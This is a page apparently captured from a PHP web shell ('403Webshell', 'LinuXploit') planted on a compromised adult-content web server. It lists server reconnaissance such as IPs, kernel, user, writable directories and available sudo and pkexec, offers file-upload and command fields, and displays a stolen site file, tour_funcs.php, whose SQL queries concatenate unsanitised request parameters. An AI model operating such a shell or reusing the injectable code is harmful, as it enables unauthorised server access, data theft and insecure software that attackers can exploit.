403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/pornstarhoneys.com/public_html/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/pornstarhoneys.com/public_html/modules/tour_funcs.php
<?php // tour_funcs.php
	$baseDir = '/home/httpd/honeyschool.com/html';

	require $baseDir."/include/global.php";
	include $baseDir."/include/types.php";
	include $baseDir."/include/dbFuncs.php";

	$link = dbConnect($databaseName);
	$timestamp = mktime(0,0,0);

	$z	= TYPE;
	$keys = explode(';', $z);
	$type = " AND (word LIKE '%".$keys[0]."%'";
	for($x=1; $x < count($keys); $x++) {
		$type .= " OR word LIKE '%".$keys[$x]."%'";
	}
	$type .= ")";

	$y = EXCLUDE;
	$keys = explode(';', $y);
	$exclude = " AND (link NOT LIKE '%".$keys[0]."%'";
	for($x=1; $x < count($keys); $x++) {
		$exclude .= " AND link NOT LIKE '%".$keys[$x]."%'";
	}
	$exclude .= ")";

	$group = $_GET['group'];
	if(isset($group) && $group != 'all') {
		$filter = " AND models.name LIKE '".$group."%'";
	} else {
		$filter = '';
	}

	/*	top_models()
			Parameters:
			$title = Table Heading Text
			$text  = Marketing text/links displayed beside the top two thumbs
			$show  = Number of records to retrieve
	*/
	function top_models($title="CURRENT TOP BABES", $text="Steve's Nifty Tour Text Stuff and Stuff Goes in this Cell.", $show=10) {
		global $link, $timestamp, $type, $exclude;

		echo	"<div align='center' class='navigation'>".$title."</div>\n"
					."<table width='625' align='center' cellspacing='0' cellpadding='3' border='0'>\n";

		$qry = q("SELECT * FROM models WHERE unix_day <= '".$timestamp."' ".$exclude." ORDER BY tour_rank DESC, tour_votes DESC", $link);

		// GET TOP 2
		echo	"<tr>\n";
		$count = 0;
		while ($model = f($qry)) {
			$girlname = str_replace('_', ' ', $model->link);
			$girlname = str_replace('-', ' ', $model->link);
			$set = f(q("SELECT COUNT(*) AS nmbr FROM sets WHERE dates <= '".$timestamp."' ".$type." AND (girlname LIKE '".$girlname."%' OR girlname LIKE '%".$girlname."')", $link));
			if ($set->nmbr == 0) continue;
			$count++;
			$page = $honey_html . str_replace(' ', '-', $model->name) . '.html';
			echo	"<td align='center' valign='top' width='20%' class='nav_'><a href='".$page."'><img src='".$babes.$model->image."' border='0' alt='".$model->name."'><br>".$model->name."</a><br>\n";
			if($model->tour_votes != 0) {
				echo	"<font face='Verdana,Geneva,Arial,Helvetica,sans-serif' size='1' color='#000000'>Votes: ".$model->tour_votes." Rating: ".$model->tour_rank."</font><br>\n";
			} else{
				echo	"<font face='Verdana,Geneva,Arial,Helvetica,sans-serif' size='1' color='#000000'><strong>Rate This Honey!</strong></font><br>\n";
			}
			echo	"<form method='POST' action='vote.php' style='margin:3px;padding:0px;'>\n"
						."<input type='hidden' name='start' value='".$start."'>\n"
						."<input type='hidden' name='group' value='".$group."'>\n"
						."<input type='hidden' name='girl_id' value='".$model->girl_id."'>\n"
						."<select style='font-size:9px;' name='rating'>\n"
						."<option value=''>---</option>\n";
			for($i=1; $i <= 10; $i++) {
				echo	"<option value='".$i."'>".$i."</option>\n";
			}
			echo	"</select>\n"
					."<input style='font-size:9px;' type='SUBMIT' value='Vote'>\n"
					."</form>\n"
					."</td>\n";
			if ($count == 2) break;
		}
		echo	"<td colspan='3' align='center' class='navigation'>".$text."</td></tr>\n";
		// GET 3 thru 12
		$count = 0;
		$column = 0;
		while ($model = f($qry)) {
			$girlname = str_replace('_', ' ', $model->link);
			$girlname = str_replace('-', ' ', $model->link);
			$set = f(q("SELECT COUNT(*) AS nmbr FROM sets WHERE dates <= '".$timestamp."' $type AND (girlname LIKE '".$girlname."%' OR girlname LIKE '%".$girlname."')", $link));
			if ($set->nmbr == 0) continue;
			$count++;
			$column++;
			$page = $honey_html.$model->link.".html";
			if ($column == 1) {
				echo	"<tr>\n";
			}
			echo	"<td align='center' valign='top' width='20%' class='nav_'><a href='".$page."'><img src='".$babes.$model->image."' border='0' alt='".$model->name."'><br>".$model->name."</a><br>\n";
			if($model->tour_votes != 0) {
				echo	"<font face='Verdana,Geneva,Arial,Helvetica,sans-serif' size='1' color='#000000'>Votes: ".$model->tour_votes." Rating: ".$model->tour_rank."</font><br>\n";
			} else{
				echo	"<font face='Verdana,Geneva,Arial,Helvetica,sans-serif' size='1' color='#000000'><strong>Rate This Honey!</strong></font><br>\n";
			}
			echo	"<form method='POST' action='vote.php' style='margin:3px;padding:0px;'>\n"
						."<input type='hidden' name='start' value='".$start."'>\n"
						."<input type='hidden' name='group' value='".$group."'>\n"
						."<input type='hidden' name='girl_id' value='".$model->girl_id."'>\n"
						."<select style='font-size:9px;' name='rating'>\n"
						."<option value=''>---</option>\n";
			for($i=1; $i <= $show; $i++) {
				echo	"<option value='".$i."'>".$i."</option>\n";
			}
			echo	"</select>\n"
					."<input style='font-size:9px;' type='SUBMIT' value='Vote'>\n"
					."</form>\n"
					."</td>\n";
			if ($column == 5) {
				echo	"</tr>\n";
				$column = 0;
			}
			if ($count == $show) break;
		}
		if ($column != 0) {
			echo	"</tr>\n";
		}
		echo	"</table>\n";
	} // top_models()

	/*	updates()
			Displays recently added content sets
			Parameters:
			$title = Table Heading Text
			$start = Starting result row
			$limit = Number of records to retrieve
	*/
	function updates($title='Most Recent Updates', $start=0, $limit=10) {
		global $link, $timestamp, $type, $exclude;
		echo	"<div align='center' class='navigation'>".$title."</div>\n"
					."<table width='625' align='center' cellspacing='0' cellpadding='3' border='0'>\n";
		$column = 0;
		$qry = q("SELECT * FROM sets WHERE dates <= '".$timestamp."' ".$type." ORDER BY dates DESC LIMIT ".$start.",".$limit, $link);
		while ($set = f($qry)) {
			$set_date = date("F d Y", $set->dates);
			$column++;
			if ($column == 1) {
				echo	"<tr>\n";
			}
			echo	"<td align='center' valign='top' width='20%' class='nav_'><img src='".$set->icon."' border='0' alt='".$set->name."'><br><span class='models'>".$set_date."</span><br>".$set->name."</td>\n";
			if ($column == 5) {
				echo	"</tr>\n";
				$column = 0;
			}
		}
		if ($column != 0) {
			echo	"</tr>\n";
		}
		echo	"</table>\n<br>\n";
	} // updates()

	/*	small_thumbs() - Displays a table of mini-thumbnails
			$start = Starting result row
			$limit = Number of records to retrieve
	*/
	function small_thumbs($start=0, $limit=100) {
		global $link, $timestamp, $type, $exclude;
		echo	"<div align='center'>\n";
		$qry = q("SELECT * FROM models WHERE unix_day <= '".$timestamp."' ".$exclude." ORDER BY curr_rank DESC LIMIT ".$start.","$limit, $link);
		while ($model = f($qry)) {
			echo	"<img src='".$babes_small.$model->image."' border='0' alt='".$model->name."' width='90' height='120'>\n";
		}
		echo	"</div>\n";
	} // small_thumbs()

	/*	browse_babes() - Displays a navigatable table of Models with filters
			Usage:
			$cols = Maximum Tabular Columns
			$rows = Maximum Tabular Rows
	*/
	function browse_babes($cols=4, $rows=20) {
		global $link, $timestamp, $type, $exclude, $filter, $start, $limit, $direction, $last;

		$limit = $cols * $rows;

		$totalRecs = q("SELECT COUNT(*) AS nmbr FROM models WHERE unix_day <= '".$timestamp."'".$exclude.$filter, $link);

		// calculate starting position
		if ($direction == 'Next') {
			$start = $start + $limit;
		} elseif ($direction == 'Prev') {
			$start = $start - $limit;
			if ($start < 0) $start = 0;
		} elseif ($_GET['start'] != 0) {
			$start = $_GET['start'];
		} else {
			$start = 0;
		} // endif direction

		$query = q("SELECT girl_id, name, image, link, tour_votes, tour_rank FROM models WHERE unix_day <= '".$timestamp."'".$exclude.$filter." ORDER BY tour_rank DESC, tour_votes DESC, name LIMIT ".$start.", ".$limit, $link);
		$rowsReturned = nr($query);
		$first = $start;
		$last = $start + $rowsReturned;
		// $sRows = ceil($rowsReturned / $cols) * 21;

		echo	"<table width='625' align='center' cellspacing='0' cellpadding='3' border='0'>\n";

		// FILTERING LINKS
		$alphas	= array ("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M",
								"N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z");
		$alphacols	= count($alphas);
		$groups	=	"<div align='center' style='font-family:Verdana,Helvetica,Arial;font-size:11px;font-weight:bold;'>\n"
						."Filter By Name<br>\n"
						."<a href='" . $_SERVER['PHP_SELF'] . "?group=all'>All</a> | ";
		for($i=0;$i<$alphacols;$i++) {
			$groups	.=	"<a href='" . $_SERVER['PHP_SELF'] . "?group=".$alphas[$i]."'>".$alphas[$i]."</a>";
			if (($i+1) < $alphacols) $groups .= " | ";
		}
		$groups .= "\n</div>\n";
		echo	"<tr>\n<td align='center' colspan='".$cols."'>\n";
		echo $groups;
		echo	"</td>\n</tr>\n";

		// Determine Record Count Display & Button Activation
		if (($rowsReturned < $limit) || ($last >= ($totalRecs->nmbr - 1))) {
			$records = $start + $rowsReturned;
			$next = 'DISABLED';
		} else {
			$records = $start + $limit;
			$next = '';
		}
		if ($start <= 0) {
			$prev = 'DISABLED';
		} else {
			$prev = '';
		}

		echo	"</td>\n</tr>\n";
		if($rowsReturned != 0) {
			echo	"<tr>\n<td align='center' colspan='5'>\n"
					."<div align='center' style='font-family:Verdana,Helvetica,Arial;font-size:11px;font-weight:bold;'>\n"
					."<form style='margin:0px;padding:0px;' method='post' action='" . $_SERVER['PHP_SELF'] . "'>\n"
					."<input type='hidden' name='start' value='".$start."'>\n"
					."<input type='hidden' name='group' value='".$group."'>\n"
					."<input style='font-size:10px;font-weight:bold;' type='submit' name='direction' value='Prev' ".$prev.">\n"
					."&nbsp;Honeys " . ($first + 1) . " thru ".$last." (".$totalRecs->nmbr." matching Honeys)&nbsp;\n"
					."<input style='font-size:10px;font-weight:bold;' type='submit' name='direction' value='Next' ".$next.">\n"
					."</form>\n"
					."</div>\n"
					."</td>\n</tr>\n";
		} else {
			echo	"<tr>\n<td colspan='5' align='center'>\n"
					."<h4>No Honeys with names beginning with ".$group.".</h4>\n"
					."</td>\n</tr>\n";
		}

		$col = 1;
		$item = 0;
		while($model = f($query)) {
			$girlname = str_replace('_', ' ', $model->link);
			$girlname = str_replace('-', ' ', $model->link);
			$sets = f(q("SELECT COUNT(*) AS nmbr FROM sets WHERE dates<='".$timestamp."'".$exclude.$type." AND (girlname LIKE '".$girlname."%' OR girlname LIKE '%".$girlname."')", $link));
			$item++;
			if($col == 1) {
				echo	"<tr>\n";
			}
			echo	"<td align='center' valign='top' width='160'>\n";
			if ($sets->nmbr != 0) {
				echo	"<a href='".$honey_html . str_replace(' ', '-', $model->name).".html'><img src='".$babes.$model->image."' alt='".$model->name."' border='1' width='140' height='187'></a><br>\n";
			} else {
				echo	"<img src='".$babes.$model->image."' alt='".$model->name."' border='1' width='140' height='187'><br>\n";
			}
			echo	"<font face='Verdana,Geneva,Arial,Helvetica,sans-serif' size='2' color='#000000'><strong>".$model->name."</strong></font><br>\n";
			if($model->tour_votes != 0) {
				echo	"<font face='Verdana,Geneva,Arial,Helvetica,sans-serif' size='1' color='#000000'>Votes: ".$model->tour_votes." Rating: ".$model->tour_rank."</font><br>\n";
			} else{
				echo	"<font face='Verdana,Geneva,Arial,Helvetica,sans-serif' size='1' color='#000000'><strong>Rate This Honey!</strong></font><br>\n";
			}
			echo	"<form method='POST' action='vote.php' style='margin:3px;padding:0px;'>\n"
						."<input type='hidden' name='start' value='".$start."'>\n"
						."<input type='hidden' name='group' value='".$group."'>\n"
						."<input type='hidden' name='girl_id' value='".$model->girl_id."'>\n"
						."<select style='font-size:9px;' name='rating'>\n"
						."<option value=''>---</option>\n";
			for($i=1; $i <= 10; $i++) {
				echo	"<option value='".$i."'>".$i."</option>\n";
			}
			echo	"</select>\n"
					."<input style='font-size:9px;' type='SUBMIT' value='Vote'>\n"
					."</form>\n"
					."</td>\n";
			$col++;
			if($col > $cols) {
				echo "</tr>\n";
				$col = 1;
			}
			if (($item % ($cols * 3)) == 0) {
				echo	"<tr><td align='center' colspan='$cols'><a class='navigation' href='/join.html'>&raquo;&raquo;Click Here to gain full access to ALL our Honeys!&laquo;&laquo;</a></td></tr>\n";
			}
		} // while Models
		echo	"</tr>\n";

		if($rowsReturned != 0) {
			echo	"<tr>\n<td align='center' colspan='5'>\n"
					."<div align='center' style='font-family:Verdana,Helvetica,Arial;font-size:11px;font-weight:bold;'>\n"
					."<form style='margin:0px;padding:0px;' method='post' action='" . $_SERVER['PHP_SELF'] . "'>\n"
					."<input type='hidden' name='start' value='".$start."'>\n"
					."<input type='hidden' name='group' value='".$group."'>\n"
					."<input style='font-size:10px;font-weight:bold;' type='submit' name='direction' value='Prev' ".$prev.">\n"
					."&nbsp;Honeys " . ($first + 1) . " thru ".$last." (".$totalRecs->nmbr." matching Honeys)&nbsp;\n"
					."<input style='font-size:10px;font-weight:bold;' type='submit' name='direction' value='Next' ".$next.">\n"
					."</form>\n"
					."</div>\n"
					."</td>\n</tr>\n";
		}

		echo	"</table>\n";

	} // browse_babes()

	/*	side_bar() - Displays Vertical navigation menu of Model Names linked to static HTML
			Usage:
			$sRows = Maximum Number of rows to display in the select box.
	*/
	function side_bar($sRows=125) {
		$page_array = array();
		$dir = dir($babes);
		echo	"<form action='dummy' method='post'>\n"
					."<select class='models' name='choice' size='".$sRows."' onchange='jump(this.form)'>";
		while ($page = $dir->read()) {
	  	if ($page == '.' || $page == '..' || $page == 'index.html' || strstr($page, $exclude) || !strstr($page, '.html')) continue;
			$page_array[] = $page;
		}
		sort($page_array);
		for ($i=0; $i < count($page_array); $i++) {
	  	$name = str_replace('.html', '', $page_array[$i]);
	  	$name = str_replace('_', ' ', $name);
	  	$name = str_replace('-', ' ', $name);
	  	echo	"<option value='".$honey_html.$page_array[$i]."'>".$name."</option>\n";
	  }
		echo	"</select>\n"
					."</form>\n";
	} // side_bar()
?>

Youez - 2016 - github.com/yon3zu
LinuXploit